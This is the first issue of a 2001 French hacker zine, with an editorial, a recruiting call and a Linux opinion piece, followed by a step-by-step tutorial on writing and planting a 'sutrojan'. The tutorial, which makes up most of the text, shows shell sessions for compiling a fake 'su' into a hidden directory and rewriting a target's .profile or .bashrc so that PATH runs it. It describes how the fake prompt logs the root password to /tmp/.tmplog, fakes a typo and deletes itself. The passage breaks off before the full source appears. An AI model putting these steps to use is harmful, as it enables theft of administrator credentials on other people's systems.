Copy Link
Add to Bookmark
Report
Input Output Magazine Issue 01
.: Input Output Corporation :.
http://ioc.multimania.com
[ IOC Magazine ]
Issue#1 v.4 Reédition 12/2001
-------------------------------------------------------------------------------------------
>>> EDITO <<<
-------------------------------------------------------------------------------------------
Nous y voilà enfin, la sortie du tout premier numéro de notre magazine.
Depuis le mois de juin qu'on a quand même pas mal travaillé dessus et
j'espère franchement qu'il vous plaira.
Contrairement à plusieurs autres magazines qui existent déjà, je parle en
mon nom parce que je sais pas pour les autres membres, mais je ne fais pas
ça pour le fun ou encore parce que j'ai rien d'autre à faire. J'ai des tas
de choses à faire ou apprendre, personne n'a la science infuse. Je fais ça
simplement parce que dans l'optique d'apprendre plus, je partage mes
connaissances, puis si à un certain point elles ont des lacunes, peut être
que quelqu'un me le fera savoir et j'apprendrais alors un peu plus.
La plupart des autres magazines n'innovent pas tellement. Les rares bons
magazines que j'ai vu sont Hackoustic qui nous sort des articles qui pour la
plupart ne sont pas encore sortis (puis le coup du caramail, fallait y
penser aussi, félicitations les gars). Puis j'ai aussi vu Hackoff qui ne
savait pas trop quoi mettre au tout début, mais à partir des numéros 12-13,
le niveau est bien monté. Il y a certainement d'autres bons magazines
récents (je parle pas de NoRoute ou NoWay donc). Dans l'optique de continuer
sur cette ligne de renouveau, notre magazine publiera par la suite des articles
sur des sujets peu connus, ou difficilement compréhensibles même si plusieurs
magazines les ont sortis.
Il y aura aussi des parties actualité/société qui essaieront de décrypter
certains aspects assez chiants à comprendre (1er numéro on est dans les
attentats aux USA et le futur de l'afghanistan).
Sinon, à part vous souhaiter beaucoup de plaisir à lire ce magazine, je ne
sais pas quoi vous dire d'autre...oh, puis je vais rien vous dire d'autre
et je vais vous laisser lire...
___ ____ _ _ _ _ __ _____ _____
/ _\/ \ | \ / || \ / | /\ |__|| __ \ ___|
\ / / \ | \ / || \ / | / \ __ | \/ / |__
_ \ \ | /\ || \/ || \/ |/ \| || /| __|
/ |__ \| \/ || |\ /| || |\ /| | /\ \ || |\ \| |
\ / \ / | | \/ | || | \/ | | /__\ \ || | \ \ |___
\___/ \____/ |_| |_||_| |_|/ \__\||_| \_\____|
I. -= On recrute =- => Lex Icon
II. -= About Linux =- => Lex Icon
III. -= Prog. sutrojan =- => NeoFox
IV. -= Synflooding =- => Lex Icon
V. -= Tunneling =- => Lex Icon
VI. -= NFS en détail =- => NeoFox
VII. -= Sécurité Linux =- => Lex Icon
VIII. -= Intro. à TCP/IP =- => NeoFox
05/2002 : Les captures d'écran illustrant
l'article de neofox sur NFS sont de nouveau
disponnibles ( pics.zip ).
-------------------------------------------------------------------------------------------
I. >>> On recrute ! <<<
-------------------------------------------------------------------------------------------
Bon, on est que deux pour écrire ce magazine et on trouve que c'est pas
suffisant. On cherche des hackers, des phreakers, des programmeurs....enfin
tout ce qui touche à la culture underground.
Mais attention, on veut pas que des gars qui ont lu 2 lignes sur le hacking se
mettent à nous écrire pour nous faire des articles. Sachez aussi que tous les
articles dans le genre 'exploitation du netbios de windows' ou 'connexion
infonie' ou encore 'mail anonyme' ne seront pas publiés car ils sont trop
connus et trop fréquents.
Si vous avez des cours de prog en C++, en assembleur, en perl, en tcl....en
tout sauf en VB et en C, alors vous nous intéressez.
Si vous avez des cours sur des techniques de hack inconnues ou pas encore très
connues (il y en a), ou que vous avez écrit votre propre exploit...écrivez
nous.
Vous avez réussi à phoner gratos en utilisant une technique pas connue de FT
et vous voulez la faire partager au monde entier, écrivez nous (là vous êtes
pas obligé, on tient pas à vous attirer d'ennuis).
Enfin, il y en a des choses à dire...
-------------------------------------------------------------------------------------------
II. Vous avez dit Linux ? par Lex Icon
-------------------------------------------------------------------------------------------
[ PERSPECTIVES HISTORIQUES ]
Au tout début des années 90, un étudiant Finlandais nommé Linus Torvalds a un
ordinateur avec un processeur de type i386, avec le système MS-DOS. Or il se
trouve que le système msdos n'exploite pas vraiment toute la puissance du 386,
ce qui est remarqué rapidement par Linus, qui décide de se créer son propre
système d'exploitation, basé sur un clone d'unix : MINIX.
Peu après, son système est terminé, mais il est vraiment très réduit : il n'y
a même pas de gestion du lecteur de disquette par exemple, et sachant qu'il
lui faudra pas mal de temps pour en faire un vrai système, Linus décide de
mettre les sources de son système en libre téléchargement sur le serveur ftp
de son université et le signale au passage sur plusieurs forums de discussion
Des dizaines de bons programmeurs s'y intéressent et améliorent le système,
jusqu'à 1992, année durant laquelle la société SuSE s'intéresse encore plus à
ce projet et décide de le mettre sur cdrom et de le distribuer afin de le
faire connaître par les gens qui n'ont pas Internet. Puis après c'est au tout
de RedHat, puis Slackware...et régulièrement ces entreprises sortent une
nouvelle version de Linux, différente des autres, avec un seul point commun,
un noyau amélioré sans cesse car c'est le coeur de ce système.
[ POURQUOI LINUX INTERESSE T IL LES HACKERS ? ]
A la base, les hackers intéréssés par linux sont les véritables hackers, les
programmeurs hors pair, car ce système a été pensé pour eux : un système à
développer. Depuis quelque temps, c'est un système pour développer aussi, car
tous les outils de programmation sont fournis : compilateur, débugger, éditeur
hexa...mais les crackers (hackers actuels) s'y intéressent aussi car c'est un
système semblable à UNIX, et pour comprendre UNIX, il faut soit le ré-inventer
soit travailler dessus.
[ LINUX vs MICROSOFT ]
Il ne faut pas voir en Linux un éventuel successeur de Windows. C'est pourtant
ce que veulent les gens. Windows a été pensé pour les gens qui sont nuls en
informatique. Il se trouve que la terre est peuplée de ces gens là et Bill
Gates a été un fin stratège en touchant ces derniers pour se faire de l'argent.
Mais voilà que des gens qui sont nuls en informatique veulent se mettre à
Linux parce que soi disant c'est un phénomène de mode dans l'underground. Ces
gens là savent que Linux est complexe dès le premier abord et veulent le
simplifier au maximum, donc le rendre accessible à la majorité et le rendre
commercial afin de remplir de fric les poches de sociétés comme RedHat qui
vendent Linux pour 300Frs (c'est rien car peu de gens l'achètent, mais si
justement il y a de + en + de monde qui l'achète, ça va finir qu''ils vont se
les faire en or). On veut du Linux pour le traitement de données : OK. On en
veut pour l'audio/vidéo : OK, on en veut pour les jeux : OK, on veut en faire
un système fourre tout....là faut pas exagérer : Linux n'a pas été pensé pour
faire ça.
[ LINUX ET LE HACKING ACTUEL ]
De plus en plus de gens ayant rejoint la culture underground passent ou
veulent passer à Linux. La plupart y passent parce que un certain site de
hacking l'a conseillé. WEB INDEPENDANT, vous savez ce que ça veut dire ? ça
veut dire qu'en gros on fait pas de pub. On fait des liens vers des sites,
mais on ne doit pas jouer le role de portail vers des magazins. Tout ça parce
que certains sites/magazines disent que si on a pas linux : on peut pas hacker.
Ce qui est faux, parce que depuis une machine Windows et un client telnet on
peut hacker ce qu'on veut tant qu'on en a les capacités (j'ai pas dit que tout
le monde peut hacker la nasa comme ça, mais que si on s'y connait, on peut le
faire, d'autant que la nasa est sous Windows il me semble).
Il faut donc pas dire que si on a linux on peut hacker ce qu'on veut, parce
que si on est qu'un gros puceau honteux qui sait à peine lancer un trojan et
envoyer un mail au gars du site sur lequel on l'a téléchargé pour lui demander
comment ça marche, on arrivera a rien. Il faut pas non plus dire que si on est
sous Linux personne ne peut nous hacker. En effet, il arrive que des gens qui
sont sous Linux ne se fassent pas hacker, mais ça arrive forcément
un jour ou l'autre. Mais ensuite ça dépend
de si on se démerde ou non. Le gars qui n'a jamais rien compris au hack se
fera forcément hacker s'il traine sous Linux. Quand on sait comment exploiter
des failles, on sait comment les éviter.
[ CONCLUSION ]
Vous avez donc du comprendre que Linux est un système assez ancien comparé à
Windows, et qu'il n'a pas suivi le même parcours que ce dernier. Vous avez
aussi compris que Linux n'est pas et ne doit pas être un remplaçant de
Windows...je dis pas non plus "Oui au monopole Microsoft". Si Linux arrive à
dominer Windows, Linux deviendra comme Windows, un système simple à utiliser
et vachement réduit qui prendra une place incroyable sur le disque et qui
demandera des configurations énormes, bref le contraire du linux actuel.
Puis vous avez surtout compris que si quelqu'un vous raconte que si vous avez
pas linux vous êtes pas un hacker ou alors vous êtes vachement vulnérable,
montrez lui le contraire. Un gars sous Windows qui laisse sa config par défaut
ne craint quasiment rien car aucun port permettant d'accéder aux données n'est
ouvert...sous Linux, une config par défaut ouvre les ports les plus importants
comme le ftp, telnet et sendmail, et ces ports répondent car l'installation de
base installe ce qui est sur ces ports.
-------------------------------------------------------------------------------------------
III. Sutrojan, concept & programmation par NeoFox
-------------------------------------------------------------------------------------------
[ Introduction ]
Voici mon tout premier article pour ce tout premier numéro, en espérant qu'il ne soit que
le début d'une longue série. C'est aussi la première fois que je prends la plume,( ou le
calvier, à vous de voir), pour une publication de ce style. En espérant que vous ayez
autant de plaisir à le lire que moi à l'écrire ...
[ Here we go ]
Cet texte s'adresse à ceux qui désirent comprendre ce que sont les " sutrojans ",
comment ils fonctionnent et comment les conçevoir. Aussi ce texte aborde d'une part la
théorie, en rapellant le fonctionnement de la commande "SU", et d'autre part la partique,
en réalisant le programme étape par étape tout en expliquant les notions de programmations
nécessaires. Il s'adresse donc à des gens qui on un minimum de conaissances Unix ( Elites,
passez votre chemin ! ) et également quelques bases de programmation C ( pas forcemment
sous Unix ). En espérant que vous aprécierez ce texte, bonne lecutre !
[ Sommaire ]
Voici en gros comment va se dérouler l'article :
Partie I. Le concept
-> La commande "SU" : généralités
-> Principe des sutrojans
Partie II. Programmation
-> Les notions utilisées
-> supass.c
[ Avertissement ]
Pas de disclamer dans cette partie, car programmer un sutrojan est parfaitement légal,
si tant est que vous ne l'utilisiez pas ailleurs que sur votre propre machine ...
Je voulais juste préciser ici que je donne pas un format de sutrojan type, mais juste
un exemple de code à partir duquel vous pourez par la suite conçevoir le votre.
Partie I : Le concept
_____________________
Dans cette première partie, nous allons rapeller le role de la commande "SU" pour en déduire
le fonctionnement des sutrojans. On va donc commençer par le commencement.
1) Généralités :
________________
[ La commande su ]
Sur une machine unix, chaque utilisateur possède un compte. Ce compte est personnel,
est désigné par un Login et protégé par un mot de passe. A chaque compte sont également
attribués un identifiant utilisateur apellé "uid" ( USER ID ) et un identifiant
du groupe apellé "gid" ( Group ID ). Plus l'uid/gid est faible, plus l'utilisateur
se servant de ce compte aura de droits. Il poura modifier certains fichiers alors
qu'un utilisateur dont l'uid/gid est inférieur ne le poura pas. Les comptes sont
donc hiérarchisés de telle sorte que le compte ayant tout les droits ait l'uid/gid
à 0, vous le savez, il s'agit du compte root. Le compte root ne correspond pas
à un utilisateur particulier, c'est un compte servant à l'administration du système.
Il n'est donc pas utilisé en permanence mais seulement lorsque des opérations
particulières doivent être effectuées par le ou les administrateurs et que les
comptes classics ne le permettent pas. L'Administrateur peut donc être amené
à utiliser le compte root, ce qui implique qu'il doit en connaître le mot de passe.
Pour se logger sur le compte root depuis sont compte personnel, il va utiliser la
commande " su ". Cette commande siginfie " Subsitute User " et va lui donner un
uid 0 et un gid 0. Si l'admin avait voulu prendre l'identité d'un utilisateur,
il aurait également utilisé cette commande pour substituer son uid/gid par ceux
du compte de l'utilisateur.
Le programme su appartient au root et se trouve généralement dans /bin.
Lorsqu'un mot de passe lui est soumis, il doit vérifier s'il s'agit du bon, et pour
cela vérifier l'entrée correspondante dans /etc/password ou /etc/shadow.
Il est donc suid root ce qui signifie qu'il s'exécute avec les privilèges du root.
[admin@machine.com]$ cd /bin
[admin@machine.com]$ ls -al su
-rwsr-xr-x 1 root root 12345 Sept 01 2001 su
^
Notez ici la présence du bit suid.
[ Syntaxe ]
La syntaxe de su est simple :
[admin@machine.com]$ whoami
admin
[admin@machine.com]$ su
Password :
[root@machine.com]# whoami
root
La commande "su" sans argument, demande le compte root et équivaut à " su root ".
Vous voyez donc que l'admin doit donner le mot de passe du compte root pour
s'y connecter. Il en va de même lorsque su est utilisé pour un autre compte.
La commande est alors :
[user1@machine.com]$ whoami
user1
[user1@machine.com]$ su user2
Password :
[user2@machine.com]$ whoami
user2
Quand un utilisateur fait un su, il reçoit un prompt " password " lui demandant
le mot de passe du compte. Lorsque le mot de passe est entré, il ne s'affiche
pas sur l'écran.
[ su et sulog ]
Lorsqu'une tentative de su est réalisée par un utilisateur, une entrée est généralement
ajoutée dans /var/adm/sulog. Ce fichier à les droits suivants :
[root@machine.com]# pwd
/var/adm
[root@machine.com]# ls -al sulog
-rw------- root root 90 Sept 01 15:15 sulog
[root@machine.com]#
On voit donc que seul le root à le droit de lecture/écirture sur ce fichier.
[root@machine.com]# cat sulog
Sept 11 09:04:27 su: 'su root' succeeded for admin on /dev/ttyp4 (1)
Sept 11 09:52:58 su: 'su root' failed for user on /dev/ttyp3 (2)
[root@machine.com]#
On voit également son contenu : lorsque le su à réussi, autrement dit lorsque
l'utilisateur qui a voulu utiliser le compte root en avait le mot de passe,
l'entrée n°1 est ajoutée à ce fichier. Si l'utilisateur n'a pas le pass et
qu'il essaye un mot au hasard, qui n'est pas le bon, il reçoit un message
d'erreur :
[user@machine.com]# su
Password :
su : incorrect password
[user@machine.com]#
C'est alors l'entrée n°2 qui est ajoutée au sulog.
L'administrateur peut donc voir qui a essayé de se logger sur le compte root
sans y être invité. A noter que les entrées du ficher sulog ainsi que sa
localisation peuvent changer.
[ History ]
Si nous voulons le mot de passe du compte root, il faut donc savoir si l'utilisateur
dont nous utilisons le compte connait le mot de passe désiré.
On va vérifier le contenu du fichier qui contient l'history du shell. Si on voit
qu'il a déja fait un su auparavant, cela signifie qu'il connait le mot de passe
et qu'il se loggera surement en root à l'avenir. Cet utilisateur est une cible
potentielle. Il faudra attendre qu'il fasse à nouveau un "su" et en profiter
pour enregistrer son mot de passe.
[ L'objectif ]
Logiquement, ce qui vous intéresse à terme, c'est d'avoir un accès en tant que root,
sur la machine et tant qu'à faire, avoir son mot de passe.
L'administrateur, ou un utilisateur accrédité, utilise "su" pour se connecter au compte
root : il en connait le mot de passe, c'est un fait. Comme cette personne ne va pas pas
vous le donner de bon coeur, eh bien, si vous le voulez, il va falloir aller le
chercher. C'est là qu'intervient le sutrojan.
2) Le principe :
________________
Pour saisir le mot de passe au moment où l'utilisateur fera un "su", il nous
faut créer un programme qui se lançera à l'insu de l'utilisteur et à la place
du porgramme réel.
Il doit simuler un prompt, enregistrer le mot de passe dans un fichier,
puis se supprimer de lui-même pour laisser place au vrai su.
Un problème majeur se pose : arriver à faire exécuter notre programme à l'insu
de l'utilisateur conçerné ...
[ La variable PATH ]
Voyons comment se lançe un programme classic :
Disons qu'un exécutable 'test' se trouve dans /usr/local/bin/.
Lorsque la commande 'test' est entrée, le shell va examiner le contenu d'une
variable d'environement pour savoir dans quels répertoires chercher l'exécutable
à lançer. Il s'agit de la variable PATH.
Elle ressemble à ça :
[user@machine.com]$ $PATH
/bin:/sbin:/usr/bin/:/usr/local/bin:
PATH est donc une suite de répertoires séparés par des : .
Lorsque 'test' est entré au prompt, le shell regrade la variable PATH
et commençe à chercher l'exécutable 'test' tout dabord dans /bin puis dans /sbin
ainsi de suite jusqu'à touver l'exécutable 'test' dans /usr/local/bin.
Si un autre programme du même nom ('test') se situe dans /usr/bin par exemple,
ce sera lui qui sera lançé et non celui de /usr/local/bin car dans la variable
PATH, le répertoire /usr/bin se trouve situé avant /usr/local/bin .
Le shell exécutera en effet le premier exécutable nommé 'test' qu'il trouvera.
De la même manière ,pour lançer "su" qui se situe dans /bin,
le shell va examiner de la variable PATH. Il va donc chercher en premier dans /bin,
et trouvera directement l'exécutable.
Sachant que le vrai 'su' se trouve dans /bin, pour qu'un autre programme
soit lançé à sa place, il faudrait qu'il porte le même nom, en l'occurence 'su'
et que le PATH soit modifié de façon à ce que le shell cherche en premier dans l
e répertoire où se siuterait le faux su, avant de chercher dans /bin.
Là aussi, le shell lançera le premier exécutable nommé "su" qu'il aura
trouvé en fouillant les répertoires mentionnés dans le PATH.
[ Fichiers de configuraion ]
La variable PATH est générée par le fichier de configuration du shell.
Si le shell est /bin/bash, le fichier de configuration sera apellé
.bash_profile ou .bashrc . Si on utilise sh, ce fichier sera .sh_profile,
pour csh ce sera .cshrc . Le ficher peut encore porter le nom de .profile.
Bref, il faudra modifier le contenu de ce fichier pour spécifier au shell de
chercher le programme en premier dans le répertoire désiré.
Dans la pratique, nous allons apeller notre sutrojan 'su' et le dissimuler dans
un répertoire caché dans le homedir de l'utilisateur.
Ce répertoire sera apellé .term et il se situera donc dans $HOME/.term .
A noter au passage que la variable $HOME généree elle aussi par le fichier
de configuration du shell.
Voici un exemple de fichier de configuration :
[user@cible.com]$ cat .profile
# .profile
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
# User specific environement and startup programs
PATH=/usr/local/bin:/bin
HOME=/home/user
USERNAME=""
[user@cible.com]$
Ici, on voit clairement la ligne du fichier .profile qui définit la variable PATH.
Pour modifier le fichier de configuration du shell de manière à ce qu'un
nouveau PATH soit pris en compte, il faut éditer le fichier avec
vi ou pico.
Dans ce cas, supposons que nous voulions faire exécuter notre sutrojan qui se
cache dans $HOME/.term, il faudra alors modifier le fichier de configuration
comme suit :
[user@cible.com]$ vi .profile
# .profile
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
# User specific environement and startup programs
PATH=$HOME/.term:/usr/local/bin:/bin <- !
HOME=/home/user
USERNAME=""
~
~
~
~
".profile" 15 L, 230C
[user@cible.com]$
Avec vi, nous venons de modifier le PATH dans le fichier .profile
de manière à ce que le shell cherche les exécutables à lançer en
premier dans le dossier caché .term.
La nouvelle variable $PATH n'est encore pas en vigueur mais
sera générée selon nos modifications par le .profile lorsque
l'utilisateur ouvriera un shell à la prochaine session.
Seulement il arrive que les éditeurs soient inutilisables
pour diverses raisons. Dans ce cas vous devez donc recourrir à la commande
echo pour plaçer la nouvelle ligne dans le fichier.
Cette ligne devra être plaçée AVANT l'ancienne sinon les modifications
n'auront aucun effet sur le contenu de la variable $PATH.
Une solution dans ce cas est de renommer le .profile en .old,
puis de créer un nouveau .profile avec notre PATH à nous, et enfin,
d'y copier le contenu du .old ( l'ancien .profile ).
Cela aura pour effet de mettre notre PATH en premiere position pour
qu'il soit actif tout en sauvegrandant le contenu du fichier original.
Cela donne donc :
[user@cible.com]$ mv .profile .old
[user@cible.com]$ echo "PATH=$HOME/.term:$PATH" > .profile
[user@cible.com]$ cat .old >> .profile
[user@cible.com]$ rm .old
[user@cible.com]$ cat .profile
PATH=/home/user:/usr/local/bin:/bin
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
# User specific environement and startup programs
ATH=/usr/local/bin:/bin -> L'ancien PATH n'a plus d'effet.
HOME=/home/user
USERNAME=""
[user@cible.com]$
Voila, on sait maintenant comment modifier le PATH de manière à ce que
le shell lançe notre exécutable que nous aurons nommé 'su' à la place de l'original.
[ Le log du sutrojan ]
Notre programme devra enregistrer le mot de passe dans un fichier
d'un répertoire peu fréquenté ou dans lequel il passera inaperçu.
Ce fichier devra donc être un fichier caché. Il devra pouvoir
être crée avec les droits de l'utilisateur. Il faudra donc le
créer dans un répertoire word-writable. Je propose de le mettre
dans /tmp et de l'apeller .tmplog . Notre programme stockera donc
le mot de passe dans /tmp/.tmplog .
[ Le message d'erreur ]
Lorsque l'utilisateur fera un 'su', il pensera accéder au compte
root. Or notre faux programme ne pourra pas le lui donner ... logique.
Pour qu'il ne se doute de rien il va donc falloir lui faire croire
qu'il a fait une faute de frappe et tapant le mot de passe et donc
que l'accés au compte lui a été refusé. Lorsqu'un mot de passe erroné
est donné au vrai su, celui-ci retourne, nous l'avons vu, le message
d'erreur " su : incorrect password ".
Le programme devra donc générer ce même message aprés avoir loggé le
mot de passe.
Pour que l'utilisateur ne se doute toujours de rien, il faut bien qu'il
finisse par accéder au compte désiré et donc qu'il exécute le vrai su.
Notre programme devra donc se supprimer de lui-même. De cette façon,
il ne sera plus présent dans le premier répertoire dans lequel le
shell va fouiller, et par défaut, c'est le vrai su qui sera exécuté.
[ L'installation ]
Nous avons téléchargé un sutrojan depuis notre ftp. Il se
trouve à présent dans le homedir de la cible.
Dans cet exemple, le sutrojan s'apelle supass.c .
[user@cible.com]$ ls -al
total 3
drwxr-xr-- 3 user group 500 Sept 01 15:15 .
drwxr-xr-- 50 root root 12934 Jan 04 00:19 ..
-rw------- 1 user group 24 Sept 01 15:17 .history
-rw------- 1 user group 12 Sept 01 15:15 .bash_profile
-rw-r--r-- 1 user group 123 Aug 25 19:14 userdoc
-rw-r--r-- 1 user group 405 Mar 02 1999 hello
-rw-r--r-- 1 user group 1203 Sept 01 15:16 supass.c
[user@cible.com]$ history
500 mail user2
501 vi userdoc
502 su
503 exit
504 ftp moncompte.com
505 ls -al
506 history
[user@cible.com]$ gcc supass.c -o su
[user@cible.com]$ chmod +x su
[user@cible.com]$ rm supass.c
[user@cible.com]$ mkdir .term
[user@cible.com]$ mv su .term
[user@cible.com]$ls -al
total 3
drwxr-xr-- 3 user group 500 Sept 01 15:15 .
drwxr-xr-- 50 root root 12934 Jan 04 00:19 ..
-rw------- 1 user group 24 Sept 01 15:14 .history
-rw------- 1 user group 12 Sept 01 15:12 .bash_profile
drw------- 1 user group 1203 Sept 01 15:15 .term
-rw-r--r-- 1 user group 123 Aug 25 19:14 userdoc
-rw-r--r-- 1 user group 405 Mar 02 1999 hello
[user@cible.com]$ls -al
total 3
drwxr-xr-- 3 user group 500 Sept 01 15:15 .
drwxr-xr-- 50 root root 12934 Jan 04 00:19 ..
-rw------- 1 user group 24 Sept 01 15:14 .history
-rw------- 1 user group 12 Sept 01 15:15 .bash_profile
-rw------- 1 user group 12 Sept 01 15:15 .bashrc
drw------- 1 user group 1203 Sept 01 15:15 .term
-rw-r--r-- 1 user group 123 Aug 25 19:14 userdoc
-rw-r--r-- 1 user group 405 Mar 02 1999 hello
[user@cible.com]$ echo $PATH
/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin:
[user@cible.com]$ mv .bashrc .old
[user@cible.com]$ echo " PATH=$HOME/.term:$PATH " > .bashrc
[user@cible.com]$ cat .old >> .bashrc
[user@cible.com]$ rm .old
[user@cible.com]$ cd .term
[user@cible.com]$ pwd
/home/usr/.term
[user@cible.com]$ ls -al su
total 1
-rwxr-xr-x 1 user group 200 Sept 01 15:17 su
[user@cible.com]$ exit
Voila, vous savez comment plaçer le faux 'su' dans un répertoire
caché du homedir. Sa position est donc /home/user/.term/su
ou $HOME/.term/su. Le mot de passe sera enregistré dans /tmp/.tmplog.
Vous savez aussi comment modifier le contenu de la variable PATH.
Dans cet exemple, lorsque l'utilisateur va taper 'su', le shell /bin/bash
va regarder la variable PATH. Cette dernière lui dit de chercher en premier
un exécutable nommé 'su' dans /home/user/.term . C'est donc le notre qui
va être lançé en premier.
[ Quand "user" voudra passer root ... ]
Une fois le programme installé, nous partons.
L'utilisateur "user" vient sur son compte quelques jours plutard.
Lorsqu'il veut faire un su, Voici ce qui se passe :
[user@machine.com]$ ls
userdoc
hello
-> rien n'a bougé, mes fichiers sont là ...
[user@machine.com]$ su
Password :
su : incorrect password -> tien, mauvais pass ...
... je réessaye ...
[user@machine.com]$ su
Password :
[root@machine.com]# -> non, c'est bon, tout va bien, j'avais
du faire une faute de frappe.
Seulement voila, un fichier ".tmplog" contenant le mot de passe a été crée dans /tmp, et
le sutrojan s'est supprimé de lui-même.
Bien, mainenant que nous avons vu l'aspect théorique du sutrojan et
la façon dont il peut être employé, il est temps de penser à la manière
de le programmer.
Partie II : La programmation
_____________________________
A ce stade, on connait exactement le fonctionnement d'un sutrojan. Nous
allons voir les notions de programmation dont nous avons besion en fonction
de ce l'effet souhaité.
[ Effet souhaité ]
Nous voulons un programme :
- qui se lançe à l'insu de l'utilisateur ( ça on sait faire ... )
- qui simule un prompt de password
- qui capture le mot de passe sans que celui ci ne s'affiche à l'écran
- qui crée un fichier /tmp/.tmplog
- qui enregistre le mot de passe dans ce fichier
- qui simule une erreur de frappe
- enfin, qui se supprime de lui même
Le langage utilisé sera le C ...
[ Notions de programmation en C à connaître ]
Voici les points clés que nous allons détailler :
- Fonction "getpass()"
- Entrées/sorties standard
- Ouverture/fermeture de fichiers
- Ecriture dans un fichier
On va donc voir tout ça un par un ...
1) Les Notions à Utiliser :
___________________________
[ La fonction "getpass()" ]
Nous voulons que notre programme simule un prompt où l'utilisateur entrera son mot de passe.
On pense desuite à un truc du genre :
printf("\nPassword : ");
scanf("%s",&saisie);
Mais voila, lors d'un vrai su, le mot de passe entré ne s'affiche pas sur l'écran.
Or si l'on utilise la fonction scanf, le mot de passe va s'affichier et l'utilisateur
pourait se douter de quelque chose.
Il faut donc utiliser une autre fonction pour arriver à nos fins.
La fonction idéale est getpass(). Elle est contenu dans le header <unistd.h>.
Voici sa sysntaxe :
#include <unistd.h>
void main ()
{
char *variable;
variable=(char *) getpass("Password: ");
}
Personellement, je préfère :
#include <unistd.h>
main()
{
char *variable;
char *getpass();
variable=getpass("Password: ");
}
Libre à vous de choisir la votre ... de tout façon, ça revient au même !
Cette fonction saisie donc le mot de passe depuis le clavier
avant qu'il ne s'affiche, puis le plaçe dans une variable.
[ Entrée/sorties standards ]
Lorsqu'un programme est exécuté, 5 fichiers de périphériques s'ouvrent :
- Entrée Standard ( standard input )
- Sortie Standard ( standard output )
- Sortie d'Erreur ( error output )
- Fichier auxiliaire
- Imprimante Standard ( standard printer )
L'entrée standard est le clavier, la sortie standard est l'écran, la sortie standard
pour les erreurs est généralement l'écran, le fichier auxiliaire est prévu pour
les opérations d'entrées/sorties via un port série, et l'imprimante standard est ...
... ben, l'imprimante .
Le header <stdio.h> ( STanDard Input/Output ) définit pour chacun un pointeur de type
*FILE. Les pointeurs sont :
- stdin ( standard input ) qui est rattaché à l'entrée standard ( clavier )
- stdout ( standard output ) qui désigne la sortie standard ( par défaut, l'écran )
- stderr ( error output ) qui désigne la sortie d'erreur ( par défaut l'écran )
- stdaux
- stdlpr
Chaque pointeur est donc rattaché au périphérique correspondant.
Ceux qui vont nous intéresser sont les 3 premiers.
[ Redirection d'entrées/sorties ]
L'entrée standard est le clavier et la sortie standard est l'ecran ...
On peut avoir cependant vouloir saisir un texte au clavier et l'enregristrer dans un
fichier. La sortie serait à ce moment là le fichier.
C'est ce qu'on apelle une redirection de sortie.
On peut vouloir aussi que le programme puisse lire un texte depuis un fichier et l'afficher
à l'écran. Dans ce cas, l'entrée est le fichier et la sortie, l'écran.
C'est ce qu'on apelle une redirection d'entrée.
Pour rediriger une entrée/sortie, il faut en premier lieu fermer l'entrée ou la sortie
standard.
L'entrée standard se ferme par l'instruction : "close(0);"
La sortie standart se ferme par l'instruction : "close(1);"
La sortie d'erreurs se ferme par l'instruction : "close(2);"
Pour notre sutrojan, nous avons besoin que le mot de passe s'enregistre dans un fichier.
La sortie sera à ce moment là le fichier. Nous devrons donc faire une redirection de
sortie.
La fonction printf() affiche du texte sur la sortie standard.
Si on ferme la sortie standard par "close(1);" elle n'affichera rien sur l'écran.
Pour que le texte s'affiche sur une autre sortie, ici un fichier, il faut
dans un premier temps fermer la sortie standard par close(1); puis ouvrir un fichier
en écriture qui sera concidéré comme la nouvelle sortie.
Une fois la sortie standard fermée et le fichier crée, tout les instruction printf(),
putc(); etc ... afficheront leur texte directement dans le fichier.
La fonction printf(); affiche par défaut son texte sur la sortie standard (stdout).
On peut vouloir que le texte s'affiche sur une autre sortie que la sortie standard,
si par exemple cette dernière est fermée. On peut donc demander au programme
de faire afficher du texte directement sur la sortie d'erreur (stderr).
Il faut pour cela faire appel à la fonction fprintf(); .
La fonction fprintf(); permet l'écriture formatée dans un fichier.
Elle permet donc l'écriture dans un fichier de périphérique de sortie.
On l'utilisera ici pour diriger l'affichage du texte dans le fichier de sortie
d'erreur ( stderr ) qui sera toujours ouverte lorsque la sortie standard sera fermée.
Cela donnera :
fprintf(stderr, "texte");
[ Création de fichiers ]
Pour sotcker le mot de passe, un fichier caché ( nous avons convenu de /tmp/.tmplog )
doit être crée. On utilise pour cela la fonction open();
Sa syntaxe est :
open (char *filename, int flags);
Les flags sont les options de la fonction open qui correspondent au différents modes
d'ouverture : création du fichier s'il n'existait pas, ouverture en mode lecture, en
mode ecriture ou en mode ajout. On peut également préciser les droits du futur fichier.
Les flags sont les suivants :
O_CREAT : création. Le fichier est crée s'il n'existait pas.
O_RDONLY : read only. Ouverture en mode lecture.
O_WRONLY : write only. Ouverture en mode écriture.
O_APPEND : Ouverture en mode ajout. Si le fichier contient déja du texte, le texte
saisi sera ajouté à la suite.
Nous voulons donc créer un fichier ouvert en mode écriture et ajout ( car le fichier de
log peut servir pour stocker plusieurs mots de passe de plusieurs sutrojans ).
On veut aussi qu'il soit -rw-rw-rw- ce qui correspond à un mode 0666.
On va donc utiliser :
open (FILE, O_CERAT | O_WRONLY | O_APPEND, 0666);
Ici, char *filename est un pointeur de type char qui pointe vers une constant
définit par :
#define FILENAME "/tmp/.tmplog"
La constante FILENAME peut tout aussi bien être nommée différemment.
Dans le code source de la prochaine partie, je l'ai apellée PASSLOG.
Voila pour ce qui est de la création d'un fichier.
Lorsque la sortie standard sera fermée et ce fichier ouvert, les*
fonctions printf afficheront du texte en direction de la nouvelle sortie qui
sera justement ce fichier.
Une fois le fichier crée et le mot de passe enregistrer, le programme devra
faire croire à une erreur de frappe puis se supprimer de lui-même.
[ Suppression automatique ]
Pour se supprimer tout seul, le programme doit
auto-exécuter une commande de suppression.
Comme la commande "rm" seule peut demande confirmation, on va utiliser
l'option "-f" pour forçer la suppression. La commande sera donc "rm -f".
Nous allons écrire la commande dans un buffer à l'aide de la fonction sprintf();
et exécuter ensuite ce buffer grâce à la commande system(); .
- La fonction sprintf(); permet d'écrire dans un buffer. Elle est
définie dans <stdio.h> et sa syntaxe est :
sprintf (char *buffer, const char *format, ... );
- Contenue dans <stdlib.h> , la fonction system(); permet d'exécuter
une commande contenue dans un buffer. Elle apelle pour cela " /bin/sh -c ".
